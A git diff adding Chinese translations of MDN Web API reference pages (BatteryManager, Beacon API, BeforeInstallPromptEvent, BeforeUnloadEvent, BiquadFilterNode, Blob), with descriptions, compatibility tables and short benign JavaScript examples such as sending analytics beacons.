+    console.log("Battery discharging time: " + battery.dischargingTime + " seconds");
+  });
+
+});
+
+ +

另见 标准中的例子.

+ +

规范

+ + + + + + + + + + + + + + + + +
草案进度备注
{{SpecName("Battery API")}}{{Spec2("Battery API")}}初步定义。
+ +

浏览器兼容性

+ +

{{Compat("api.BatteryManager")}}

+ +

另见

+ + diff --git a/files/zh-cn/web/api/batterymanager/charging/index.html b/files/zh-cn/web/api/batterymanager/charging/index.html new file mode 100644 index 0000000000..dd836b7730 --- /dev/null +++ b/files/zh-cn/web/api/batterymanager/charging/index.html @@ -0,0 +1,121 @@ +--- +title: 电池管理器 +slug: Web/API/BatteryManager/charging +tags: + - 电池 API +translation_of: Web/API/BatteryManager/charging +--- +
{{APIRef("Battery API")}}
+ +

指示设备电池当前是否正在充电的Boolean值

+ +

Syntax 句法

+ +
var charging = battery.charging
+ +

返回当前是否正在对 {{domxref("BatteryManager")}} 对象的设备充电,如果正在充电则返回 true,否则返回 false.

+ +

Example 例子

+ +

HTML Content (内容)

+ +
<div id="charging">(charging state unknown)</div>
+ +

JavaScript 内容

+ +
navigator.getBattery().then(function(battery) {
+
+    var charging = battery.charging;
+
+    document.querySelector('#charging').textContent = charging ;
+});
+ +

{{ EmbedLiveSample('Example', '100%', 30) }}

+ +

Specifications 规格

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Battery API")}}{{Spec2("Battery API")}}Initial definition
+ +

Browser compatibility浏览器兼容性{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome(39.0)}}{{CompatGeckoDesktop("10")}} {{property_prefix("moz")}}
+ {{CompatGeckoDesktop("16")}}[1]
+ {{CompatGeckoDesktop("52")}}[3]
{{CompatNo}}25{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(40.0)}}{{CompatGeckoMobile("10")}} {{property_prefix("moz")}}
+ {{CompatGeckoMobile("16")}}[1]
+ {{CompatGeckoMobile("52")}}[3]
{{CompatNo}}25[2]{{CompatNo}}{{CompatChrome(42.0)}}[2]
+
+ +

[1] Disabled by default in Firefox 10.0, but can be enabled setting the preference dom.battery.enabled to true. Starting with Firefox 11.0, mozBattery is enabled by default. The Battery API is currently supported on Android, Windows, and Linux with UPower installed. Support for MacOS is available starting with Gecko 18.0 {{geckoRelease("18.0")}}. Firefox also provide support for the deprecated {{domxref("navigator.battery")}}.

+ +

[2] Values for {{domxref("BatteryManager.chargingTime")}} and {{domxref("BatteryManager.dischargingTime")}} are always equal to Infinity.

+ +

[3] From Firefox 52 onwards, the Battery Status API is only available in chrome/privileged code.

+ +

See also 也可以看看

+ + diff --git a/files/zh-cn/web/api/batterymanager/index.html b/files/zh-cn/web/api/batterymanager/index.html new file mode 100644 index 0000000000..050fc2a432 --- /dev/null +++ b/files/zh-cn/web/api/batterymanager/index.html @@ -0,0 +1,128 @@ +--- +title: BatteryManager(电源管理) +slug: Web/API/BatteryManager +translation_of: Web/API/BatteryManager +--- +

{{APIRef}}

+ +

BatteryManager 接口提供方法获取系统电量。 

+ +

{{domxref("navigator.getBattery")}} 方法返回一个promise对象,该promise将提供一个BatteryManager接口,你可以从Battery Status API 查询到相关信息。

+ +

属性

+ +
+
{{domxref("BatteryManager.charging")}} {{ReadOnlyInline}}
+
一个布尔值,说明当前电池是否正在充电。
+
{{domxref("BatteryManager.chargingTime")}} {{ReadOnlyInline}}
+
一个数字,代表距离充电完毕还需多少秒,如果为0则充电完毕。
+
{{domxref("BatteryManager.dischargingTime")}} {{ReadOnlyInline}}
+
一个数字,代表距离电池耗电至空且挂起需要多少秒。
+
{{domxref("BatteryManager.level")}} {{ReadOnlyInline}}
+
一个数字,代表电量的放大等级,这个值在 0.0 至 1.0 之间。
+
+ +

事件处理器

+ +
+
{{domxref("BatteryManager.onchargingchange")}}
+
{{event("chargingchange")}}事件处理器;电池充电状态更新时被调用。
+
{{domxref("BatteryManager.onchargingtimechange")}}
+
{{event("chargingtimechange")}}事件处理器;电池充电时间更新时被调用。
+
{{domxref("BatteryManager.ondischargingtimechange")}}
+
{{event("dischargingtimechange")}}事件处理器;电池断开充电时间更新时被调用。
+
{{domxref("BatteryManager.onlevelchange")}}
+
{{event("levelchange")}}事件处理器;电池电量更新时被调用。
+
+ +

方法

+ +

继承自{{domxref("EventTarget")}}:

+ +

{{page("/zh-CN/docs/Web/API/EventTarget","Methods")}}

+ +

规格Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Battery API")}}{{Spec2("Battery API")}}Initial definition
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
基本支持{{CompatChrome(39.0)}}{{CompatGeckoDesktop("10")}} {{property_prefix("moz")}}
+ {{CompatGeckoDesktop("16")}}[1]
{{CompatNo}}25{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
基本支持{{CompatNo}}{{CompatChrome(40.0)}}{{CompatGeckoMobile("10")}} {{property_prefix("moz")}}
+ {{CompatGeckoMobile("16")}}[1]
{{CompatNo}}25[2]{{CompatNo}}{{CompatChrome(42.0)}}[2]
+
+ +

[1] 在Firefox 10.0中默认无效,但可设定preference dom.battery.enabledtrue从而使其有效化。自Firefox 11.0起,mozBattery默认有效。Battery API现能被支持与Android,Windows,和安装了UPower的Linux。自Gecko 18.0 {{geckoRelease("18.0")}}也能支持MacOS。Firefox还为被弃用的{{domxref("navigator.battery")}}提供支持。

+ +

[2] {{domxref("BatteryManager.chargingTime")}}和{{domxref("BatteryManager.dischargingTime")}}的值总是等于无穷。

+ +

其他

+ + diff --git a/files/zh-cn/web/api/beacon_api/index.html b/files/zh-cn/web/api/beacon_api/index.html new file mode 100644 index 0000000000..257c31f9ed --- /dev/null +++ b/files/zh-cn/web/api/beacon_api/index.html @@ -0,0 +1,54 @@ +--- +title: Beacon API +slug: Web/API/Beacon_API +tags: + - SDK + - user behavior tracker + - user tracker + - 同步请求 + - 埋点 + - 数据分析 + - 规范 +translation_of: Web/API/Beacon_API +--- +

{{DefaultAPISidebar("Beacon")}}{{SeeCompatTable}}

+ +

Beacon 接口用于将异步和非阻塞请求发送到服务器。信标(Beacon )请求使用HTTP协议中的POST方法,请求通常不需要响应。这个请求被保证在,页面的unload状态从发起到完成之前,被发送。而并不需要一个阻塞请求,例如 {{domxref("XMLHttpRequest")}} 。

+ +

Beacon API 的示例用例是记录活动并向服务器发送分析数据。

+ +

本文档中描述的接口的示例代码包含在使用信标API中。

+ +

为什么是信标?

+ +

Beacon 接口满足了分析和诊断代码的需要,这些代码通常会尝试在卸载文档之前将数据发送到 web服务器。发送数据的任何过早时机都可能导致错失收集数据的机会。但是,确保在卸载文档期间发送数据是开发人员难以做到的。

+ +

用户代理通常会忽略卸载文档处理程序中的异步 {{domxref("XMLHttpRequest","XMLHttpRequests")}} 请求。若要解决此问题,为了分析和诊断代码,通常会在 {{event("unload")}} 事件或 {{event("beforeunload")}} 事件中创建同步 {{domxref("XMLHttpRequest")}} 请求以提交数据。同步 {{domxref("XMLHttpRequest")}} 请求强制浏览器延迟卸载文档,并使下一个页面跳转看起来较慢。下一页面没有任何办法来避免这种页面加载性能不佳的感觉。

+ +

其他技术也可以用来确保提交数据。其中一种技术是通过创建 Image 元素并在卸载文档处理程序中设置其 src 属性来延迟卸载以提交数据。由于大多数用户代理会延迟文档卸载,以完成挂起的图片加载,因此可以在卸载过程中提交数据。另一种方法是在卸载处理程序中创建一个无操作循环,花费数秒以延迟卸载并将数据提交到服务器。

+ +

但是上述技术不仅代表了较差的编码模式,其中一些还是不可靠的,会导致下一个导航的页面加载性能较差的感觉。信标 API 提供了解决这些问题的标准方法。

+ +

全局环境

+ +

Beacon API 的 {{domxref("Navigator.sendBeacon()")}} 方法用于在全局浏览上下文中向服务器发送数据信标。该方法有两个参数,URL和要在请求中发送的数据data。data参数是可选的,其类型可以是 {{domxref("ArrayBufferView")}}、{{domxref("Blob")}}{{domxref("DOMString")}} {{domxref("FormData")}}如果浏览器成功的以队列形式排列了用于传递的请求,则该方法返回“true”,否则返回“false”。

+ +

生产环境

+ +

Beacon API的 {{domxref("WorkerNavigator.sendBeacon()")}} 方法用于从 {{domxref("WorkerGlobalScope","worker global scope")}} 向服务器发送数据信标。该方法有两个参数,URL和要在请求中发送的数据data。data参数是可选的,其类型可以是 {{domxref("ArrayBufferView")}}、{{domxref("Blob")}}、{{domxref("DOMString")}} 或 {{domxref("FormData")}}。如果浏览器成功的以队列形式排列了用于传递的请求,则该方法返回“true”,否则返回“false”。

+ +

浏览器兼容性

+ +

{{domxref("Navigator.sendBeacon","Navigator.sendBeacon()","Browser_compatibility")}}表说明了该方法具有相对广泛地实现。但是,{{domxref("WorkerNavigator.sendBeacon","WorkerNavigator.sendBeacon()","Browser_compatibility")}}数据显示该方法没有被实现。

+ +

相关知识

+ + diff --git a/files/zh-cn/web/api/beacon_api/using_the_beacon_api/index.html b/files/zh-cn/web/api/beacon_api/using_the_beacon_api/index.html new file mode 100644 index 0000000000..c65861c7cd --- /dev/null +++ b/files/zh-cn/web/api/beacon_api/using_the_beacon_api/index.html @@ -0,0 +1,104 @@ +--- +title: 使用 Beacon API +slug: Web/API/Beacon_API/Using_the_Beacon_API +tags: + - Web 性能 + - 指南 +translation_of: Web/API/Beacon_API/Using_the_Beacon_API +--- +
{{DefaultAPISidebar("Beacon")}}{{SeeCompatTable}}
+ +

Beacon 接口用来调度向 Web 服务器发送的异步非阻塞请求。

+ + + +

这篇文档包含了 Beacon 接口的一些例子,可以在 {{domxref("Beacon_API","Beacon API")}} 查阅对应的 API。

+ + + +

Beacon API 的 {{domxref("Navigator.sendBeacon()")}} ,会在全局上下文中向服务器发起一个 beacon 请求。这个方法需要两个参数:  URL 以及要发送的数据 data 。其中 data 参数是可选的,它的类型可以为 {{domxref("ArrayBufferView")}}, {{domxref("Blob")}}, {{domxref("DOMString")}}, 或者 {{domxref("FormData")}}.

+ +

如果浏览器成功地将 beacon 请求加入到待发送的队列里,这个方法将会返回 true ,否则将会返回 false 。

+ +

下面的例子注册了 {{event("load")}} 事件和  {{event("beforeunload")}} 事件的回调函数, 并且在回调函数里面调用了 sendBeacon() 方法。

+ +
window.onload = window.onunload = function analytics(event) {
+  if (!navigator.sendBeacon) return;
+
+  var url = "https://example.com/analytics";
+  // 创建待发送数据
+  var data = "state=" + event.type + "&location=" + location.href;
+
+  // 发送beacon请求
+  var status = navigator.sendBeacon(url, data);
+
+  // 打印数据以及结果
+  console.log("sendBeacon: URL = ", url, "; data = ", data, "; status = ", status);
+};
+
+ +

接下来的例子创建了一个 {{event("submit")}} 事件的回调函数,并且当submit事件触发时,调用 sendBeacon()方法。

+ +
window.onsubmit = function send_analytics() {
+  var data = JSON.stringify({
+    location: location.href,
+    time: Date()
+  });
+
+  navigator.sendBeacon('/analytics', data);
+};
+
+ +

WorkerNavigator.sendBeacon()

+ +

Beacon API 的 {{domxref("WorkerNavigator.sendBeacon()")}} 的使用方法,跟平常的使用方法完全相同,区别仅在与这个方法存在 {{domxref("WorkerGlobalScope","worker 全局作用域")}} 

+ +

接下来的例子展示了,使用  {{domxref("Worker")}} 发送了一个 beacon 请求,使用了全局上下文的 URL 和数据。

+ +

这是全局上下文的代码片段:

+ +
function worker_send(url, data) {
+  // 创建 worker 对象
+  var myWorker = new Worker("worker-using.js");
+
+  // 向 worker 发送 URL 以及 data
+  myWorker.postMessage([url, data]);
+
+  // 注册回调函数接收来自 worker 的成功或失败信息
+  myWorker.onmessage = function(event) {
+    var msg = event.data;
+    // 打印 worker 的发送状态
+    console.log("Worker reply: sendBeacon() status = " + msg);
+  };
+}
+
+ +

这是 worker 中的代码片段 (worker-using.js):

+ +
onmessage = function(event) {
+  var msg = event.data;
+  // 从 msg 中分离 URL 和 data
+  var url = msg[0];
+  var data = msg[1];
+
+  // 如果浏览器支持在 worker 里面调用 sendBeacon(), 那就发送beacon请求
+  // 否则返回失败信息给全局上下文
+  if (self.navigator.sendBeacon) {
+    var status = self.navigator.sendBeacon(url, data);
+    postMessage(status ? "success" : "fail");
+  } else {
+    postMessage("Worker: self.navigator.sendBeacon is unsupported");
+  }
+}
+
+ +

查看更多

+ + diff --git a/files/zh-cn/web/api/beforeinstallpromptevent/index.html b/files/zh-cn/web/api/beforeinstallpromptevent/index.html new file mode 100644 index 0000000000..914a63588a --- /dev/null +++ b/files/zh-cn/web/api/beforeinstallpromptevent/index.html @@ -0,0 +1,129 @@ +--- +title: BeforeInstallPrompt +slug: Web/API/BeforeInstallPromptEvent +tags: + - PWA + - beforeinstallprompt + - 添加到主屏幕 + - 添加快捷方式 +translation_of: Web/API/BeforeInstallPromptEvent +--- +

{{ ApiRef() }} {{ Non-standard_header }}

+ +

在一个用户被提示”安装“一个网站到移动设备的一个主屏幕之前,  BeforeInstallPromptEvent 被{{domxref("Window.onbeforeinstallprompt")}} 处理程序触发。

+ +

该接口继承自{{domxref("Event")}}接口。

+ +

{{InheritanceDiagram(700, 60, 20)}}

+ +

构造器

+ +
+
{{domxref("new window.BeforeInstallPromptEvent(name, eventInitOptions)")}}
+
创建一个新的 BeforeInstallPromptEvent.
+
+ +

属性

+ +

继承自父类,{{domxref("Event")}}.

+ +
+
{{domxref("BeforeInstallPromptEvent.platform")}} {{readonlyinline}}
+
返回一个包含了调度事件的平台(s)的 {{domxref("DOMString")}} 数组。这是为希望向用户提供版本选择的user agent提供的,例如,“web”或“play”允许用户在web版本或Android版本之间进行选择。
+
{{domxref("BeforeInstallPromptEvent.userChoice")}} {{readonlyinline}}
+
返回一个可以解析为 {{domxref("DOMString")}} 的 {{jsxref("Promise")}} ,其值为 'installed' 或 'dismissed',用以判断用户是否选择安装该PWA。
+
+ +

方法

+ +
+
{{domxref("BeforeInstallPromptEvent.prompt()")}} 
+
立即弹出安装提示。允许开发者按照自己选择的时间弹出安装提示。该方法返回 {{jsxref("Promise")}}。
+
+ +

例子

+ +
window.addEventListener("beforeinstallprompt", function(e) {
+  // log the platforms provided as options in an install prompt
+  console.log(e.platforms); // e.g., ["web", "android", "windows"]
+  e.userChoice.then(function(outcome) {
+    console.log(outcome); // either "installed", "dismissed", etc.
+  }, handleError);
+});
+
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support +

{{CompatChrome(44.0)}} [1]

+
{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
prompt() method.{{CompatChrome(45.0)}} [1]{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{ CompatNo() }} +

{{CompatChrome(44.0)}} [1]

+
{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }} +

{{CompatChrome(44.0)}} [1]

+
prompt() method.{{ CompatNo() }}{{CompatChrome(45.0)}} [1]{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{CompatChrome(45.0)}} [1]
+ +

[1] Behind the flagchrome://flags/#bypass-app-banner-engagement-checks

diff --git a/files/zh-cn/web/api/beforeinstallpromptevent/prompt/index.html b/files/zh-cn/web/api/beforeinstallpromptevent/prompt/index.html new file mode 100644 index 0000000000..265147affe --- /dev/null +++ b/files/zh-cn/web/api/beforeinstallpromptevent/prompt/index.html @@ -0,0 +1,106 @@ +--- +title: BeforeInstallPromptEvent.prompt() +slug: Web/API/BeforeInstallPromptEvent/prompt +tags: + - BeforeInstallPromptEvent + - BeforeInstallPromptEvent.prompt() +translation_of: Web/API/BeforeInstallPromptEvent/prompt +--- +

{{APIRef("")}}

+ +

{{SeeCompatTable}}

+ +

{{domxref("BeforeInstallPromptEvent")}} 接口的 prompt()方法允许一个开发人员在自己选择的一个时间显示安装提示。

+ +

句法

+ +
BeforeInstallPromptEvent.prompt()
+ +

参数

+ +

+ +

返回

+ +

一个空的 {{jsxref("Promise")}}.

+ +

范例

+ +
let isTooSoon = true;
+window.addEventListener("beforeinstallprompt", function(e) {
+  if (isTooSoon) {
+    e.preventDefault(); // Prevents prompt display
+    // Prompt later instead:
+    setTimeout(function() {
+      isTooSoon = false;
+      e.prompt(); // Throws if called more than once or default not prevented
+    }, 10000);
+  }
+
+  // The event was re-dispatched in response to our request
+  // ...
+});
+ +

规范

+ +
+

This method is not part of a specification.

+
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(45.0)}} [1]    
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(45.0)}} [1]     {{CompatChrome(45.0)}} [1]
+
+ +

[1] Behind the flag: chrome://flags/#bypass-app-banner-engagement-checks

diff --git a/files/zh-cn/web/api/beforeunloadevent/index.html b/files/zh-cn/web/api/beforeunloadevent/index.html new file mode 100644 index 0000000000..69626e0ec7 --- /dev/null +++ b/files/zh-cn/web/api/beforeunloadevent/index.html @@ -0,0 +1,71 @@ +--- +title: BeforeUnloadEvent +slug: Web/API/BeforeUnloadEvent +tags: + - API + - BeforeUnloadEvent + - 参考 +translation_of: Web/API/BeforeUnloadEvent +--- +

{{APIRef}}

+ +

beforeunload 事件触发于 window、document 和它们的资源即将卸载时。 

+ +

当事件属性 returnValue 被赋值为非空字符串时,会弹出一个对话框,让用户确认是否离开页面(示例如下)。否则,事件被静默处理。一些浏览器实现仅在框架或内置框架接收到用户手势或交互时才显示对话框。在 {{anch("浏览器兼容性")}} 中查看更多信息。

+ + + + + + + + + + + + + + + + + + + + +
BubblesNo
CancelableYes
Target objectsdefaultView
Interface{{domxref("Event")}}
+ +

示例

+ +
window.addEventListener("beforeunload", function( event ) {
+  event.returnValue = "\o/";
+});
+
+//等同于
+window.addEventListener("beforeunload", function( event ) {
+  event.preventDefault();
+});
+
+ +

基于 Webkit 的浏览器没有遵循该弹窗规范。以下是一个基本跨浏览器运行的例子。

+ +
window.addEventListener("beforeunload", function (e) {
+  var confirmationMessage = "\o/";
+
+  (e || window.event).returnValue = confirmationMessage;     //Gecko + IE
+  return confirmationMessage;                                //Webkit, Safari, Chrome etc.
+});
+ +

浏览器兼容性

+ +

{{Compat("api.BeforeUnloadEvent")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/biquadfilternode/index.html b/files/zh-cn/web/api/biquadfilternode/index.html new file mode 100644 index 0000000000..d1e149028b --- /dev/null +++ b/files/zh-cn/web/api/biquadfilternode/index.html @@ -0,0 +1,215 @@ +--- +title: BiquadFilterNode +slug: Web/API/BiquadFilterNode +translation_of: Web/API/BiquadFilterNode +--- +

{{APIRef("Web Audio API")}}

+ +
+

BiquadFilterNode接口表示一个简单低阶滤波器(双二阶滤波器), 通过 {{ domxref("AudioContext.createBiquadFilter()") }} 方法创建. 它是一个能表示不同类型的过滤器,声调控制设备,图形均衡器的{{domxref("AudioNode")}} . 一个BiquadFilterNode(双二阶滤波器) 总是恰好有一个输入和一个输出.

+
+ + + + + + + + + + + + + + + + + + + + + + + + +
Number of inputs1
Number of outputs1
Channel count mode"max"
Channel count2 (not used in the default count mode)
Channel interpretation"speakers"
+ +

属性

+ +

继承属性自父级的 {{domxref("AudioNode")}}.

+ +
+
{{domxref("BiquadFilterNode.frequency")}}
+
Is an a-rate {{domxref("AudioParam")}}, a double representing a frequency in the current filtering algorithm measured in hertz (Hz).
+
{{domxref("BiquadFilterNode.detune")}}
+
Is an a-rate {{domxref("AudioParam")}} representing detuning of the frequency in cents.
+
{{domxref("BiquadFilterNode.Q")}}
+
Is an a-rate {{domxref("AudioParam")}}, a double representing a Q factor, or quality factor.
+
{{domxref("BiquadFilterNode.gain")}} {{readonlyInline}}
+
Is an a-rate {{domxref("AudioParam")}}, a double representing the gain used in the current filtering algorithm.
+
{{domxref("BiquadFilterNode.type")}}
+
节点实现定义不同过滤算法的一个字符串值.
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
The meaning of the different parameters depending of the type of the filter (detune has the same meaning regardless, so isn't listed below)
typeDescriptionfrequencyQgain
lowpassStandard second-order resonant lowpass filter with 12dB/octave rolloff. Frequencies below the cutoff pass through; frequencies above it are attenuated.The cutoff frequency.Indicates how peaked the frequency is around the cutoff. The greater the value is, the greater is the peak.Not used
highpassStandard second-order resonant highpass filter with 12dB/octave rolloff. Frequencies below the cutoff are attenuated; frequencies above it pass through.The cutoff frequency.Indicates how peaked the frequency is around the cutoff. The greater the value, the greater the peak.Not used
bandpassStandard second-order bandpass filter. Frequencies outside the given range of frequencies are attenuated; the frequencies inside it pass through.The center of the range of frequencies.Controls the width of the frequency band. The greater the Q value, the smaller the frequency band.Not used
lowshelfStandard second-order lowshelf filer. Frequencies lower than the frequency get a boost, or an attenuation; frequencies over it are unchanged.The upper limit of the frequencies getting a boost or an attenuation.Not usedThe boost, in dB, to be applied; if negative, it will be an attenuation.
highshelfStandard second-order highshelf filer. Frequencies higher than the frequency get a boost or an attenuation; frequencies lower than it are unchanged.The lower limit of the frequencies getting a boost or an attenuation.Not usedThe boost, in dB, to be applied; if negative, it will be an attenuation.
peakingFrequencies inside the range get a boost or an attenuation; frequencies outside it are unchanged.The middle of the frequency range getting a boost or an attenuation.Controls the width of the frequency band. The greater the Q value, the smaller the frequency band.The boost, in dB, to be applied; if negative, it will be an attenuation.
notchStandard notch filter, also called a band-stop or band-rejection filter. It is the opposite of a bandpass filter: frequencies outside the give range of frequencies pass through; frequencies inside it are attenuated.The center of the range of frequencies.Controls the width of the frequency band. The greater the Q value, the smaller the frequency band.Not used
allpassStandard second-order allpass filter. It lets all frequencies through, but changes the phase-relationship between the various frequencies.The frequency with the maximal group delay, that is, the frequency where the center of the phase transition occurs.Controls how sharp the transition is at the medium frequency. The larger this parameter is, the sharper and larger the transition will be.Not used
+
+
+ +

方法

+ +

继承方法自父级的 {{domxref("AudioNode")}}.

+ +
+
{{domxref("BiquadFilterNode.getFrequencyResponse()")}}
+
From the current filter parameter settings this method calculates the frequency response for frequencies specified in the provided array of frequencies.
+
+ +

例子

+ +

{{page("/en-US/docs/Web/API/AudioContext.createBiquadFilter","Example")}}

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#the-biquadfilternode-interface', 'BiquadFilterNode')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(50)}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(50)}}
+
+ +

相关内容

+ + diff --git a/files/zh-cn/web/api/blob/arraybuffer/index.html b/files/zh-cn/web/api/blob/arraybuffer/index.html new file mode 100644 index 0000000000..d7a5217065 --- /dev/null +++ b/files/zh-cn/web/api/blob/arraybuffer/index.html @@ -0,0 +1,66 @@ +--- +title: Blob.arrayBuffer() +slug: Web/API/Blob/arrayBuffer +translation_of: Web/API/Blob/arrayBuffer +--- +

{{APIRef("File API")}}

+ +

arrayBuffer() 方法返回一个 {{jsxref("Promise")}} 对象,包含 blob 中的数据,并在 {{domxref("ArrayBuffer")}} 中以二进制数据的形式呈现。

+ + + +

语法

+ +
var bufferPromise = blob.arrayBuffer();
+
+blob.arrayBuffer().then(buffer => /* 处理 ArrayBuffer 数据的代码……*/);
+
+var buffer = await blob.arrayBuffer();
+ +

参数

+ +

无须提供任何参数。

+ +

返回值

+ +

返回一个 promise 对象,在 resolved 状态中以二进制的形式包含 blob 中的数据,并呈现在 {{domxref("ArrayBuffer")}} 中。

+ +

异常

+ +

当执行这个方法没有提示错误时,那么它可能会出现在 promise 的 reject 状态中。这是可能发生的,比如说在用于获取 blob 数据的一段代码抛出异常的时候。在读取数据时抛出的任何异常都会被放入 reject 状态中。

+ +

使用须知

+ +

{{domxref("FileReader.readAsArrayBuffer()")}} 这个方法与之类似,但 arrayBuffer() 返回一个 promise 对象,而不是像 FileReader 一样返回一个基于事件的 API。

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("File API", "#dom-blob-arraybuffer", "Blob.arrayBuffer()")}}{{Spec2("File API")}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.Blob.arrayBuffer")}}

+ +

另见

+ + diff --git a/files/zh-cn/web/api/blob/blob/index.html b/files/zh-cn/web/api/blob/blob/index.html new file mode 100644 index 0000000000..481b6a9d82 --- /dev/null +++ b/files/zh-cn/web/api/blob/blob/index.html @@ -0,0 +1,123 @@ +--- +title: Blob() +slug: Web/API/Blob/Blob +translation_of: Web/API/Blob/Blob +--- +

{{APIRef("File API")}}

+ +

Blob() 构造函数返回一个新的 {{domxref("Blob")}} 对象。 blob的内容由参数数组中给出的值的串联组成。

+ +

语法

+ +
var aBlob = new Blob( array, options );
+
+ +

参数

+ + + +

示例

+ +
var aFileParts = ['<a id="a"><b id="b">hey!</b></a>']; // 一个包含DOMString的数组
+var oMyBlob = new Blob(aFileParts, {type : 'text/html'}); // 得到 blob
+ +

标准

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('File API', '#constructorBlob', 'Blob()')}}{{Spec2('File API')}}Initial definition.
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support20{{CompatGeckoDesktop("13.0")}} [1]1012.108
in Workers{{CompatUnknown}}{{CompatGeckoDesktop("14.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatGeckoMobile("13.0")}} [1]{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
in Workers{{CompatUnknown}}{{CompatGeckoMobile("14.0")}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] Firefox16之前,如果第二个参数被设置为null或者undefined,会导致错误,不会自动设置为空字典。

+ +

参见

+ + + +

 

diff --git a/files/zh-cn/web/api/blob/index.html b/files/zh-cn/web/api/blob/index.html new file mode 100644 index 0000000000..8ad418dc2c --- /dev/null +++ b/files/zh-cn/web/api/blob/index.html @@ -0,0 +1,150 @@ +--- +title: Blob +slug: Web/API/Blob +tags: + - API + - Files + - Reference + - WebAPI + - 参考 + - 文件 +translation_of: Web/API/Blob +--- +
{{APIRef("File API")}}
+ +

Blob 对象表示一个不可变、原始数据的类文件对象。它的数据可以按文本或二进制的格式进行读取,也可以转换成 {{DOMxRef("ReadableStream")}} 来用于数据操作。 

+ +

Blob 表示的不一定是JavaScript原生格式的数据。{{domxref("File")}} 接口基于Blob,继承了 blob 的功能并将其扩展使其支持用户系统上的文件。

+ +

要从其他非blob对象和数据构造一个 Blob,请使用 {{domxref("Blob.Blob", "Blob()")}} 构造函数。要创建一个 blob 数据的子集 blob,请使用 {{domxref("Blob.slice()", "slice()")}} 方法。要获取用户文件系统上的文件对应的 Blob 对象,请参阅 {{domxref("File", "File")}} 文档。

+ +

接受 Blob 对象的API也被列在 {{domxref("File", "File")}} 文档中。

+ +
注意:slice() 方法原本接受 length 作为第二个参数,以表示复制到新 Blob 对象的字节数。如果设置的参数使 start + length 超出了源 Blob 对象的大小,则返回从开始到结尾的所有数据。
+ +
注意:slice() 方法在某些浏览器和版本上带有浏览器引擎前缀:比如 Firefox 12 及更早版本的blob.mozSlice() 和 Safari 中的blob.webkitSlice()。 没有浏览器引擎前缀的老版本 slice() 方法有不同的语义,并且已过时。Firefox 30 取消了对 blob.mozSlice() 的支持。
+ +

构造函数

+ +
+
{{domxref("Blob.Blob", "Blob(blobParts[, options])")}}
+
返回一个新创建的 Blob 对象,其内容由参数中给定的数组串联组成。
+
+ +

属性

+ +
+
{{domxref("Blob.size")}} {{readonlyinline}}
+
Blob 对象中所包含数据的大小(字节)。
+
{{domxref("Blob.type")}} {{readonlyinline}}
+
一个字符串,表明该 Blob 对象所包含数据的 MIME 类型。如果类型未知,则该值为空字符串。
+
+ +

方法

+ +
+
{{domxref("Blob.slice()", "Blob.slice([start[, end[, contentType]]])")}}
+
返回一个新的 Blob 对象,包含了源 Blob 对象中指定范围内的数据。
+
